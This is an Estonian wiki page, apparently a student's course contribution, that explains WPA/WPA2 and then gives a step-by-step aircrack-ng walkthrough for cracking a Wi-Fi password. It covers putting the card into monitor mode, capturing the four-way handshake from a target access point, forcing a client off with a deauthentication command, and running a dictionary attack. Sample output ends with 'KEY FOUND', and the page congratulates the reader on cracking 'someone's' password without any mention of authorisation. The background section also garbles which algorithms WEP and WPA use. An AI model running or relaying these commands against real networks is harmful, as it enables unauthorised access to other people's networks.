WPA kräkkimine: Difference between revisions

From ICO wiki
Jump to navigationJump to search
No edit summary
Line 11: Line 11:
== Kuidas kräkkida WPA'd lahti?<br>  ==
== Kuidas kräkkida WPA'd lahti?<br>  ==


=== Punkt 1:<br>  ===
=== Punkt 1 (Raadiokaardi seadistamine õigesse režiimi):<br>  ===


Käivita wifi liides/kaart "kuulaja režiimis".<br>  
Käivita wifi liides/kaart "kuulaja režiimis".<br>  
Line 30: Line 30:
Kirjuta käsureale:<br>  
Kirjuta käsureale:<br>  


*'''iwconfig'''<br>
*'''iwconfig '''<br>


Vastus peaks tulema umbes taoline:<br>  
Vastus peaks tulema umbes taoline:<br>  
Line 55: Line 55:
Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi. &nbsp;Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC&nbsp; peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata).<br>  
Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi. &nbsp;Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC&nbsp; peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata).<br>  


Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ].<br>  
Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ].<br>


=== Punkt 2:<br>  ===
=== Punkt 2:<br>  ===

Revision as of 20:01, 13 November 2012

Mis on WPA ja WPA2?

WPA (Wi-Fi Protected Access)- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

WPA2 (Wireless Protected Access 2) - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

Mis on WIFI?

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

Kuidas kräkkida WPA'd lahti?

Punkt 1 (Raadiokaardi seadistamine õigesse režiimi):

Käivita wifi liides/kaart "kuulaja režiimis".

Ava terminal ja kirjuta sinna käsk:

  • airmon-ng start wlan0

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii:


Peata ath0 kirjutades käsureale:

  • airmon-ng stop


Kirjuta käsureale:

  • iwconfig

Vastus peaks tulema umbes taoline:

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus iwconfig käsuga.

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga:

  • airmon-ng start wifi0 9

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel.

Süsteem peaks vastama:



Näed, et "ath0" on määratud kuulamise reziimi.

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk iwconfig.

Süsteem peaks vastama:

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata).

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 .

Punkt 2:

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi.

Kirjuta käsureale:

  • airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda.

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the four-way handshake.

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes

Punkt 3:

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk:

  • aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Kui läheb hästi siis võib väljund olla selline:

11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]

Punkt 4:

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib.

Ava uus käsurea aken ja lisa käsk:

  • aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Kui sa saad väljundiks "No valid WPA handshakes found." siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti.

Kui aga kõik läks nii nagu pidi on väljundiks:

Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil http://www.aircrack-ng.org/doku.php?id=cracking_wpa

Kasutatud materjalid:

www.vallaste.ee

http://www.aircrack-ng.org/doku.php?id=cracking_wpa


Autor: Gertti-Vena Rätsep